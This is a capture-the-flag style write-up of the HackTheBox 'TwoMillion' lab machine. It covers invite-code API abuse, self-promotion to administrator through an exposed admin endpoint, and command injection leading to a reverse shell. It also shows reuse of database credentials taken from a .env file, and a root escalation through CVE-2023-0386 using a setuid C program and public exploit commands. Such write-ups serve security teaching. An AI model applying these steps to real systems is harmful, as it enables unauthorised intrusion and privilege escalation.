Box Info

Attribute Details
Level Easy
OS Linux
Box URL HTB-TwoMillion
Box Status Retired
About Box TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on HackTheBox. The box features an old version of the HackTheBox platform that includes the old hackable invite code. After hacking the invite code an account can be created on the platform. The account can be used to enumerate various API endpoints, one of which can be used to elevate the user to an Administrator. With administrative access the user can perform a command injection in the admin VPN generation endpoint thus gaining a system shell. An .env file is found to contain database credentials and owed to password re-use the attackers can login as user admin on the box. The system kernel is found to be outdated and CVE-2023-0386 can be used to gain a root shell.

Footprinting

Nmap

nmap finds two open TCP ports, SSH (22) and HTTP (80):

> nmap -p- --min-rate 10000 10.10.11.221
Nmap 7.94SVN scan initiated Sat Jan 18 17:24:20 2025 as: nmap -p- --min-rate 10000 -oN 1.basic.nmap.txt 10.10.11.221
Nmap scan report for 10.10.11.221
Host is up (0.22s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sat Jan 18 17:24:42 2025 -- 1 IP address (1 host up) scanned in 21.88 seconds

> nmap -sCV -p 22,80 10.10.11.221
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 17:35 IST
Nmap scan report for 10.10.11.221
Host is up (0.22s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.78 seconds

Let’s add 10.10.11.221 host to our /etc/hosts file:

echo "10.10.11.221 	2million.htb" | sudo tee -a /etc/hosts

Port - 22 Enumeration

We tried the same thing for SSH. We login into SSH anonymous but it’s also a failed attempt.

ssh anonymous@10.10.10.245
anonymous@10.10.10.245's password:
Permission denied, please try again.

Port - 80 Enumeration

Response Headers

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 19 Jan 2025 08:32:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: PHPSESSID=srsk0h13obnn855016i953mfd7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Technology Detection

Application Overview

The application resembles HTB’s old version from 2017. It includes pages such as Login, Invite, Hall of Fame, and FAQ.

The the old version of HTB requires an invitation code for the user Sign

I tried to play with the invitation code option and observed that the application is calling the 2 Javascript files that are being used to send API requests. We tried to see what the both js file contains.

Obfuscated Code

We found that the supposed to be inviteapi.min.js is responsible for sending the invitation validation request. The JavaScript file contains multiple keywords like POST, makeInviteCode, verifyInviteCode so looks like it is obfuscated.

We used de4js JavaScript Deobfuscator and Unpacker to get the JavaScript in Deobfuscated format.

Deobfuscated JavaScript:

function verifyInviteCode(code) {
  var formData = {
    code: code,
  };
  $.ajax({
    type: "POST",
    dataType: "json",
    data: formData,
    url: "/api/v1/invite/verify",
    success: function (response) {
      console.log(response);
    },
    error: function (response) {
      console.log(response);
    },
  });
}

function makeInviteCode() {
  $.ajax({
    type: "POST",
    dataType: "json",
    url: "/api/v1/invite/how/to/generate",
    success: function (response) {
      console.log(response);
    },
    error: function (response) {
      console.log(response);
    },
  });
}

From the deobfuscated JavaScript we can see that the JavaScript contains 2 functions.

  1. Function verifyInviteCode is responsible for verifying the Invitation code.
  2. Function makeInviteCode is responsible for generating the Invitation code.

Generate Invitation Token

Upon sending a POST request for How-to-Generate application returns the ROT13 encrypted string.

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}

We have converted the ROT13 string to cleartext format and it gave a hint for another endpoint.

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Upon sending a POST request for Generate-invite application returns a base64 encoded string.

> curl -X POST http://2million.htb/api/v1/invite/generate

{"0":200,"success":1,"data":{"code":"ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ=","format":"encoded"}}

We have converted the base64 encoded string to clear text format which gives us our invitation code.

> echo "ME1FRzQtQlJTQzMtSEhZSkQtUzQ1UUQ=" | base64 -d
0MEG4-BRSC3-HHYJD-S45QD

Registration Page

We have entered our invitation code and which allows us to login into application with our username and password.

User Dashboard

We have login into the application and we saw very limited options. A few of them are:

  1. Dashboard
  2. FAQ
  3. Generate the VPN Connection File

Available API Endpoints

The interesting part of generating a VPN connection file was, It is called the api/v1/user/vpn/download. We can get the list of API endpoints by calling the /api/v1.

It was observed that the application contains the admin API as well. Admin API contains 3 endpoints:

  1. GET - /api/v1/admin/auth : Check if user is admin or not
  2. POST - /api/v1/admin/vpn/generate : Generate VPN for specific user
  3. PUT - /api/v1/admin/settings/update : Update user settings

Check User Admin Right Status

Update the User Rights

Update admin settings API returns the error message which shows that the API request is missing an email parameter.

We have added the email parameter and sent the request. It’s observed that the API request is missing the “is_admin” parameter.

We have added the missing parameter and based on the response it’s observed that the User has now admin privilege.

Admin Access Check

Generate VPN File

Command Execution

It’s observed that generated VPN profile endpoint is vulnerable to command Injection.

Shell as www-data

To get the reverse shell, we are using the netcat command.

Volia 🥳 We got the connection back to our terminal.

Let’s Upgrade the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fg

Get the User Flag

Let’s cat the user flag…! Look like www-data user doesn’t have permission to view the file.

www-data@2million:/home/admin$ cat user.txt
cat: user.txt: Permission denied

List the Files, Directories and it’s permission:

www-data@2million:/home/admin$ ls -al
total 32
drwxr-xr-x 4 admin admin 4096 Jun  6  2023 .
drwxr-xr-x 3 root  root  4096 Jun  6  2023 ..
lrwxrwxrwx 1 root  root     9 May 26  2023 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin  220 May 26  2023 .bash_logout
-rw-r--r-- 1 admin admin 3771 May 26  2023 .bashrc
drwx------ 2 admin admin 4096 Jun  6  2023 .cache
-rw-r--r-- 1 admin admin  807 May 26  2023 .profile
drwx------ 2 admin admin 4096 Jun  6  2023 .ssh
-rw-r----- 1 root  admin   33 Jan 18 12:03 user.txt

Shell as admin

We tried few ways to login as admin. From hint, we found that the .env file contains the DB username and password.

www-data@2million:~/html$ ls -al
total 56
drwxr-xr-x 10 root root 4096 Jan 18 15:20 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Jan 18 15:20 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views

Environment Variables:

www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

We have the env variable file which contains the username and password. Let’s try to open the /etc/passwd file and see if does admin user exists in the system or not. It looks like the admin user does exist on the system.

Shell as admin

We can log in as admin users who read the user flag.

Now, Let’s jump for root flag đźš©

Shell as root

From the hint, we get to know that the admin user has to do something with the mail system on Linux. We got the admin file under the mail directory which contains the mail from ch4p regarding the Patching System OS.

From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Failed Attempt

We searched OverlayFS CVE and came across this article by ProjectDiscovery.

We got the access as the root user but still, it’s not a complete root permission.

CVE-2023-0386 Analysis

I started searching again and it’s observed that the machine is vulnerable to CVE-2023-0386.

From Google: CVE-2023-0386 is a high-severity vulnerability in the Linux kernel’s overlayfs filesystem. Improper permission handling allows local attackers to easily escalate privileges to root, compromising the entire system.

How to Detect?

The easiest way to check whether your system is vulnerable is to see which version of the Linux kernel it uses by running the command uname -r

A system is likely to be vulnerable if it has a kernel version lower than 6.2. We found that our Linux machine is running on 5.15

admin@2million:~$ uname -r
5.15.70-051570-generic

Let’s understand what is SUID, OverlayFS…

What is SUID bit?

SUID, short for Set User ID, is a special permission that can be assigned to executable files. When an executable file has the SUID permission enabled, it allows users who execute the file to temporarily assume the privileges of the file’s owner.

What is OverlayFS?

Overlay filesystems, also known as “union filesystems” or “union mounts” let you mount a filesystem using 2 directories: a “lower” directory, and an “upper” directory.

1. Structure

OverlayFS uses three main components:

  • Lower directory: Read-only base layer containing the original files.
  • Upper directory: Writable layer where changes are made.
  • Merged view: The combined result of the lower and upper directories.
2. File Operations
  • Read:
    • If a file exists in both layers, the version in the upper layer is presented.
    • If a file exists only in the lower layer, it is accessed from there.
  • Write:
    • If a file in the lower layer is modified, it is copied to the upper layer first (copy-on-write), and then the changes are applied to the copy.
  • Delete:
    • When a file in the lower layer is deleted, it is “hidden” by creating a whiteout marker in the upper layer.
3. Mounting Example

Assume you have:

  • Lower layer: /lower
  • Upper layer: /upper
  • Mount point: /merged

Command to create an overlay:

mount -t overlay overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work /merged

How does the CVE-2023-0386 Works?

  1. Pretending to Have a Root-Owned File:

    • The attacker uses a trick called FUSE (a tool for making fake filesystems) to create a “fake” file that looks like:
      • It’s owned by the system administrator (root).
      • It has the SUID bit set, which means running this file will give whoever runs it admin-level privileges.

    Normally, creating such a file directly on the system isn’t allowed unless you’re already an admin. But with FUSE, you can fake it.

  2. Create a Safe “Sandbox” Environment:

    • The attacker uses something called user namespaces to create a sandbox environment.
    • This lets them temporarily do things (like mounting filesystems) that normally require admin permissions.
  3. Set Up the OverlayFS Trick:

    • The attacker sets up an OverlayFS filesystem:
      • The lower directory (base layer) is the fake filesystem they made with FUSE.
      • The upper directory (writable layer) is something like /tmp, where anyone can write files.
  4. Trigger the Kernel Bug:

    • The attacker “copies” the fake file (from the lower layer) to the writable layer (upper directory).
    • When the kernel handles this copy, it believes the fake file’s permissions and creates a real file in /tmp that:
      • Is owned by root.
      • Has the SUID bit set.
  5. Escape the Sandbox and Exploit the File:

    • The attacker exits the sandbox and now has a real root-owned SUID file in /tmp.
    • They execute this file to become root and take full control of the system.

Code Example

Here is the code example which I took from the Datadog article.

The code written in C will try to set setuid and setgid to root.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main(void) {
    int result;

    result = setuid(0);
    if (result != 0 ) {
      printf("could not setuid(0): %s\n", strerror(errno));
      return result;
    }

    result = setgid(0);
    if (result != 0) {
      printf("could not setguid(0): %s\n", strerror(errno));
      return result;
    }

    printf("Starting root shell...\n");
    system("/bin/bash");
    return 0;
}

Since, to set the uid or gid to root, User requires the root permission. As per expectations, We can see the Operation not permitted error from the code.

john@machine:~$ gcc -Wall setuid.c -o setuid
john@machine:~$ chmod +x setuid
john@machine:~$ ./setuid
could not setuid(0): Operation not permitted

Here, User has changed the file’s user and group ownership to root and also assigned the SUID to the file.

root@machine:/home/john$ chown root:root setuid
root@machine:/home/john$ chmod +s setuid

Here, Lower privilege user John executed the file and since setuid file contains the SUID permission, at the end of file execution John was able to get the Root Shell.

john@machine:~$ ./setuid
Starting root shell...
root@machine:~$ id
uid=0(root) gid=0(root) groups=0(root),1002(john)

Geting Root Flag

I was using the POC for CVE-2023-0398 created by xkaneikiwhich is already available on Github.

Commands:

make all

./fuse ./ovlcap/lower ./gc &
./exp

We have the root flag.

We also have thank you message from HTB team. Let’s try to read the message.

Thank You Message from HTB Team

Final Thank You Message

Dear HackTheBox Community,

We are thrilled to announce a momentous milestone in our journey together. With immense joy and gratitude, we celebrate the achievement of reaching 2 million remarkable users! This incredible feat would not have been possible without each and every one of you.

From the very beginning, HackTheBox has been built upon the belief that knowledge sharing, collaboration, and hands-on experience are fundamental to personal and professional growth. Together, we have fostered an environment where innovation thrives and skills are honed. Each challenge completed, each machine conquered, and every skill learned has contributed to the collective intelligence that fuels this vibrant community.

To each and every member of the HackTheBox community, thank you for being a part of this incredible journey. Your contributions have shaped the very fabric of our platform and inspired us to continually innovate and evolve. We are immensely proud of what we have accomplished together, and we eagerly anticipate the countless milestones yet to come.

Here's to the next chapter, where we will continue to push the boundaries of cybersecurity, inspire the next generation of ethical hackers, and create a world where knowledge is accessible to all.

With deepest gratitude,

The HackTheBox Team

References

Connect with Me